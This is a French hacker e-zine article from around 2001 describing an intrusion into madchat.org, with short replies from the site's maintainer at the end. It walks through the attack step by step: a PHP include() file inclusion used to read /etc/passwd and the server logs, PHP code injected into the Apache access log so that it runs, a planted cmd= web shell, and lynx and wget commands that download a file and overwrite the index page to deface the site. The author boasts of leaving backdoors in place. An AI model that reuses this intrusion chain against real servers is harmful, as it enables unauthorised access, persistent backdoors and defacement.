-------------------------------------------------------------------------- a Mind over Machine release: Nouvelle methode d'exploitaiton de trous de securitees causez par PHP4 par __2. -------------------------------------------------------------------------- Un exemple eventuelle de hacking reside souvent dans l'utilisation automatique d'une serie d'exploit pris un peu partout sur Internet. Dans le cas suivant par contre, nous avons eu la chance d'inventer nos propres mecanismes, chose qui sort du commun. Nous nous sommes donc dit que cela pourrait faire un bon article au point de vue technique. Le site a ete defacer(le site web a ete modifier pour souligner notre passage, rien de tres mechant) et on s'est permis de placer 3-4 backdoors un peu partout question de pouvoir revenir si jamais l'envie se presenterait. Au moment ou vous lisez ceci peut-etre que madchat.org contient encore une backdoor valide. A vous de les trouvez :) Question de prouver qu'on a bien reussi a faire tout ce quon dit quon a fait allez voir les fichiers joints au e-zine, leonard et compagnie va surement s'y retrouver. Tout a debutter le 21 au soir, dans le coin des 9h. Moi et wyzeman on essayait plusieurs sites question de forcer leur systeme de PHP, apres un maigre 15 minutes j'avais deja reussi a defacer un autre site(kill-9.dk) pour le plaisir de ce genre de chose, on s'est dit que madchat regorgant de php3 archaiques fait par des gens aux competences douteuses pourrait etre un bon champ d'entrainement. Donc j'ai cru bon commencer par le forum, un forum en PHP est tjours une bonne source d'essaies eventuelles. Resumer de mes tentatives solder par un echec: La personne qui l'avais coder avait prevu un peu tout les trucs classiques(blocage des <> %3C/%3E etc..) Alors j'ai du me rabattre sur une 2ieme possibilitee, la base de donnee MYSQL qui roulait sur le port par defaut (madchat.org:3306). A vue de nez on pouvait conclure qu'un systeme qui roule qmail/ncftpd et mysql en multiuser est un ISP commerciale,les possibilitees que mysql roule avec un root par defaut etait donc pas mal improbable.Ncftpd valait pas la peine d'etre verifier du fait que c'est un serveur ftp reconnu pour son manque de breches de securite. J'ai ete me rabattre sur les verifications classiques, par exemple: http://madchat.org/box?K=unix/linkz (url normal) variantes: http://madchat.org/box?K=unix/linkz&admin=1 http://madchat.org/box?K= j'ai fait ce genre de verification a tout les liens php possible. J'ai decouvert par hasard que http://madchat.org/box?K= donnait le msg d'erreur : Fatal error: input in flex scanner failed in /home2/triton/www on line 1 Pour quelquun qui fait souvent du PHP ca parait tres tres claire: { pour ceux qui comprenne } Ca voulais dire qu'on pouvait passer directement un PATH a K. ie: http://madchat.org/box?K=/etc/passwd http://madchat.org/box?K=/etc/inetd.conf http://madchat.org/box?K=/proc/cpuinfo (Bonus: aucun $DOCUMENT_ROOT meprisant) Le gros proble me c'est que contrairement a du PERL un code | en php ne maurait pas permis de sortir des limites du include pour lancer des executables. Je savais que je roulais en user:nobody (le ISP avait l'air serieux :-)) alors on etait pas mal limitee a /tmp/ et aux fichiers de /home2/triton/www rw/o (CE qui est une insecurite).. Donc jme suis mis a chercher sur Internet si il existait une facon d'exploiter un include() de PHP pour lancer un application a distance. Ca n'existait pas, personne n'en a jamais parler alors j'etait pas mal abattus et j'ai decider donc de changer d'activitee. Ecouter SouthPark est un bon remede. Nous avons repris le travail vers minuit pour finir a 3h du mat . C'est a ce moment la que tout commencait a devenir plus serieux. J'avais decouvert un moyen par hasard de pouvoir executer du code. Voici l'astuce. Au depart, je voulais les configurations du apache qui roulait sur la machine. J'ai essayer /usr/local/apache/conf/httpd.conf : http://madchat.org/box?K=/madchat.org/box?K=/usr/local/apache/conf/httpd.conf Gotcha, voici les lignes qui nous interessait: User #546 Group silver ServerAdmin webmaster@madchat.org DocumentRoot /home/triton/www ServerName www.madchat.org ServerAlias madchat.org ErrorLog /home/triton/logs/www-error_log CustomLog /home/triton/logs/www-access_log combined ScriptAlias /cgi-bin/ /home/triton/cgi-bin/ Alias /urchin /home/triton/urchin les 2 fichiers LOG promettait d'etre interessant, on aurait pus y voir des URL contenant des mots-de-passes? Pourquoi pas? Alors j'ai nous avons ete chercher fichier log des erreurs: http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-error_log Ce qui donne en bref ceci: [Mon Jan 22 00:15:16 2001] [error] [client 62.210.194.76] File does not exist: /home/triton/www/hacking.php3 [Mon Jan 22 00:36:54 2001] [error] [client 209.202.148.38] File does not exist: /home/triton/www/initiation.php3 [Mon Jan 22 00:42:54 2001] [error] [client 193.250.235.129] File does not exist: /home/triton/www/lascars.php3 [Mon Jan 22 00:43:04 2001] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/triton/cgi-bin/forum [Mon Jan 22 00:43:07 2001] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/triton/cgi-bin/forum [Mon Jan 22 00:43:09 2001] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/triton/cgi-bin Rien de tres pationnant , c'est le 2ieme LOG (le custom) qui s'est par contre montrer fort appreciable: http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log 149.99.73.119 - - [22/Jan/2001:00:01:33 -0500] "GET / HTTP/1.0" 200 75092 "-" "Mozilla/4.75 [fr] (Win95; U)" 149.99.73.119 - - [22/Jan/2001:00:03:20 -0500] "GET /news/nsa/gwunsa.htm HTTP/1.0" 200 25254 "http://www.northernlight.com/nlquery.fcg?ho=zeppo&po=5128&qr=NSA+AND+Pine+Gap&$ "Mozilla/4.61 [en] (Win98; U)" 149.99.73.119 - - [22/Jan/2001:00:03:22 -0500] "GET /news/nsa/gwunsa_fichiers/nsaseal_t.gif HTTP/1.0" 200 12023 "http://www.madchat.org/news/nsa/gwunsa.htm" "Mozilla/4.61 [en] (Win98; U)" 63.100.42.75 - - [22/Jan/2001:00:04:14 -0500] "GET /style.php3 HTTP/1.0" 200 1771 "-" "PHP/4.0.3pl1" 63.100.42.75 - - [22/Jan/2001:00:04:14 -0500] "GET /arbre.php3 HTTP/1.0" 200 5709 "-" "PHP/4.0.3pl1" On voyait les URI! C'est ici que vous devez savoir comment un php fonctionne. Si je fabrique un fichier test.php et que je place a l'interieur: le resultat dans mon browser web va etre bouh! , il va executer le code. Ici le include() inclue le fichier LOG et apres il execute son contenu. ET OUI Tout ce qui restait a faire c'etait de passer un URI contenant le code PHP souhaiter. J'ai dailleurs fait un test: http://www.madchat.org/ Ca l'a ajouter au log une ligne contenant GET et quand je les fait fait afficher avec: http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log Cela a executer phpinfo (allez voir le fichier madchat_hack.txt) Note: PHPINFO liste tout les parametres d'un serveur WEB. par la suite jai decider de lister tout le /home et /home2 pour voir a quoi j'avais affaire: http://www.madchat.org/ http://www.madchat.org/ (remarquer que les espaces deviennent des + dans un URL. J'ai donc eu TOUTE la liste avec tout les privileges de tout ses repertoires la. Maintenant j'avais en gros quelque chose comme ceci: /home2/triton/www: total 1556 drwxr-xr-x 12 triton silver 4096 Jan 20 23:54 . drwxr-xr-x 15 triton silver 4096 Dec 24 13:43 .. -rw-r--r-- 1 triton silver 55 Jan 20 23:01 about.php3 drwxrwxrwx 4 triton silver 4096 Jan 21 06:07 actu -rw-r--r-- 1 triton silver 1438 Dec 3 07:39 actu.php3 -rwxrwxrwx 1 triton silver 5709 Jan 21 20:05 arbre.php3 -rw-r--r-- 1 triton silver 1446 Jan 8 20:14 avertissement.php3 -rw-r--r-- 1 triton silver 559 Jan 21 01:41 box.php3 -rw-r--r-- 1 triton silver 4166 Dec 6 17:28 commenter-old.php3 -rw-r--r-- 1 triton silver 5936 Jan 18 01:37 commenter.php3 -rwxrwxrwx 1 triton silver 5183 Jan 18 15:30 conf.php3 -rw-rw-rw- 1 triton silver 102229 Jan 21 23:18 conflog.txt drwxr-xr-x 2 triton silver 4096 Jan 8 16:03 doc_dump -rw-r--r-- 1 triton silver 7024 Dec 4 03:07 ecrire-old.php3 -rw-r--r-- 1 triton silver 8413 Jan 17 19:07 ecrire.php3 -rwxrwxrwx 1 triton silver 8697 Jan 14 21:25 ecrirebb.php3 -rw-r--r-- 1 triton silver 1231 Jan 14 22:14 editor.php3 -rw-r--r-- 1 triton silver 1193 Dec 13 02:34 editorial.php3 -rw-r--r-- 1 triton silver 3099 Dec 13 02:50 emacs.php3 drwxr-xr-x 2 triton silver 4096 Jan 13 19:36 images -rwxrwxrwx 1 triton silver 3432 Jan 16 04:13 index.php3 -rwxrwxrwx 1 triton silver 54 Jan 20 23:33 links.php3 -rw-rw-rw- 1 triton silver 940624 Jan 22 00:01 loglog.txt -rwxrwxrwx 1 triton silver 55 Jan 20 23:31 madcom.php3 drwxr-xr-x 10 triton silver 4096 Dec 8 20:43 news drwxr-xr-x 2 triton silver 4096 Jan 16 02:09 pgp drwxrwxrwx 2 triton silver 4096 Nov 26 02:48 phorum -rw-r--r-- 1 triton silver 3267 Jan 14 17:41 quotes.dat -rw-r--r-- 1 triton silver 149 Dec 3 07:08 quotes.inc drwxr-xr-x 3 triton silver 4096 Jan 11 10:38 spam -rw-r--r-- 1 triton silver 1771 Jan 20 23:07 style.php3 -rw-r--r-- 1 triton silver 1604 Jan 8 21:32 styleno.php3 drwxr-xr-x 6 triton silver 4096 Jan 14 23:48 unix -rwxr-xr-x 1 triton silver 361610 Jan 8 21:06 unzip512.tar.gz drwxr-xr-x 5 triton silver 4096 Jan 20 13:45 usefr drwxr-xr-x 2 triton silver 4096 Dec 22 15:33 utils (le reste de la recursion du repertoire se trouve dans le fichier texte en attache) Etrangement le fichier INDEX etait -rwxrwxrwx(777) World-writable. En gros ca voulait dire que le user NOBODY de apache pouvait reecrire dessus. Mais avant de faire ca il serait pratique d'instaurer des backdoors pour pouvoir revenir par la suite donc apres 2 minutes j'avais creer ceci: placer dans un fichier .php on pouvait lui envoyer des commandes de cette facon: http://www.serveurweb.com/fichier.php?cmd=uname+-a par exemple. Maintenant il fallait que je fasse un injecteur pour la backdoor, ce fut la partie la plus difficile a cause des slashes, le resultat donna ceci: http://www.madchat.org/K=");fclose($fp);?> Nous avions choisis le sous-rep phorum car il y avait deja un fichier conf.php et tout etait world-writable. Une fois que l'injecteur avait finis son boulot on appelait : http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log Qui lancait le code et bang. Par la suite avec lynx on pouvait recreer un shell en utilisant la methode suivante: lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=cat+/etc/issue.net Le output renvoyer etait IDENTIQUE a un shell. N'est ce pas succulent :} Mais on a eu un probleme avant ca, voyez-vous l'injecteur etait defectueux alors il a passer un truc qui a creer une erreur generale dans le www-access_log empechant celui-ci de continuer ligne par ligne donc on avait plus de porte de sortie, en refouillant un peu dans le fichier httpd.conf jai pus retrouver un autre user qui s'appelait acid(pour acid.madchat.org) Alors on a repris l'idee du depart mais sur ce fichier LOG, tout a finalement fonctionner comme prevu :-)) On a donc dispercer la backdoor dans quelques autres endroits et on a commencer a "defacer" le site. Jai pondus un ascii rapide et je les placer sur un serveur web. J'ai fait ceci dans l'ordre: lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=mkdir+/var/.mom/ (repertoire temporaire invisible 777) lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=wget+URLdufichier.txt+-O+/var/.mom/s (Telechargement du fichier dans /tmp/.mom/s) Et pour finir: lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=cp+/var/.mom/s+/home2/triton/www/index.php3 Gotcha, le boulot etait fait. J'espere que ce recis vous a plus, il decrit entierement quelque chose de veritable, quelque chose qui a fonctionner sans l'aide d'aucun exploit deja connu, quelque chose que tout le monde peut s'amuser a faire quand vous avez une nuit devant vous :) En note de conclusion: On aurait tout aussi pus utiliser 2 autres methodes qui avait un bon potentiel de fonctionner. 1 - Envoyer un mail forger a qmail pour quil creer un dead.letter dans /home2/triton contenant le code PHP. > qmail ne cree pas de fichiers dans le home dir des users 2 - Uploader le fichier via le serveur FTP NCFTPD en anonymous (Je n'ai plus connaisance si on a un repertoire incoming writable) > incoming est writable mais pas readable. Par la suite on aurait eu qu'a refaire afficher le fichier via box?K= > banner l'include($K) ... on etait au courant de cette "faille" 3 mois avant le "hack". pourkoi ne pas l'avoir corrigee ? c'est plus drole ainsi elle ne permet pas l'acces root. l'erreur de notre part etait aussi le index.html en rw. > comments by leonard.